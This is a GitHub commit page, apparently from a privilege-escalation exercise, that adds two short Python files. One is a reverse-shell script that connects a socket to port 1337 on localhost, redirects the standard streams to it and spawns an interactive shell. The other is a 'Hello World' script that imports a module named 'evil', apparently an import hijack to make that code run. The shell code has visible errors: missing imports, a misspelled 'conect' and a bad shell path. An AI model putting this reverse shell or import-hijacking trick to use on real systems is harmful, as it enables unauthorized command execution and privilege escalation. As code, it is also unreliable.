Skip to content
Permalink
Browse files
Made a Priv-Esc
  • Loading branch information
ciobotarub committed Dec 4, 2020
1 parent d827e26 commit 20c5134e56f0dfbbb83a95b1111a058bb66fc226
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 0 deletions.
@@ -0,0 +1,11 @@
#!/usr/bin/env python

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.conect(("127.0.0.1", 1337))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(["bin/sh","-i"])

@@ -0,0 +1,4 @@
import evil

print("Hello World!")

0 comments on commit 20c5134

Please sign in to comment.